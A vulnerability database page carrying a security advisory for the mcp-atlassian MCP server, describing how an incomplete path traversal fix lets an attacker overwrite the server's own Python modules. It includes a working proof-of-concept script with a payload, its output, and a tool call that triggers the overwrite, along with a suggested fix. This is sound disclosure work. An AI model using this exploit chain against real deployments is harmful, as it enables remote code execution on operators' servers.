VDB
Sign up
HIGH

GHSA-6vmq-24h2-pj7j

MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)

Quick fix

GHSA-6vmq-24h2-pj7j — mcp-atlassian: upgrade to the fixed version with the command below.

pip install --upgrade 'mcp-atlassian>=0.22.0'

Details

### Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

### Details

`src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:

```python def validate_safe_path(path, base_dir=None) -> Path: if base_dir is None: base_dir = os.getcwd() # root of the issue resolved_base = Path(base_dir).resolve(strict=False) ... if not resolved_path.is_relative_to(resolved_base): raise ValueError("Path traversal detected") ```

Both call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:

```python validate_safe_path(target_path) # line ~227, download_attachment() validate_safe_path(target_dir) # line ~270, download_content_attachments() ```

When the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:

``` /app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception /app/src/mcp_atlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception ```

### PoC

**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and `uvx` to run the proof below.

The script imports `validate_safe_path` directly from the installed package, not a simulation of the function.

```python # poc_bypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcp_atlassian.utils.io import validate_safe_path # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD) app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_") module_dir = os.path.join(app_dir, "src", "mcp_atlassian") os.makedirs(module_dir) module_path = os.path.join(module_dir, "attachments.py") Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n') os.chdir(app_dir)

# Control: classic traversal is blocked try: validate_safe_path("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception result = validate_safe_path(module_path) print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload # (content sourced from a Confluence attachment uploaded by the attacker) Path(module_path).write_bytes( b"import os\n_PWNED=True\n" b"def get_secret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload")

# Simulate process restart / module reload spec = importlib.util.spec_from_file_location("m", module_path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) # os.system('id') executes here

print(f"[RCE] get_secret() = {repr(mod.get_secret())}") print(f"[RCE] _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir) ```

```bash uvx --from mcp-atlassian python poc_bypass.py ```

**Verified output (mcp-atlassian 0.21.0):**

``` Module: mcp_atlassian.utils.io

[OK] /etc/passwd blocked [BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] get_secret() = 'PWNED' [RCE] _PWNED = True ```

**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:

```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "<page_id>", "attachment_id": "<malicious_attachment_id>", "download_path": "/app/src/mcp_atlassian/confluence/attachments.py" } } } ```

`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.

### Impact

**Affected versions:** 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.

**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:

```python _DOWNLOAD_BASE = Path( os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads") ).resolve()

validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE) ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/mcp-atlassian
Introduced in: 0Fixed in: 0.22.0
Fixpip install --upgrade 'mcp-atlassian>=0.22.0'

References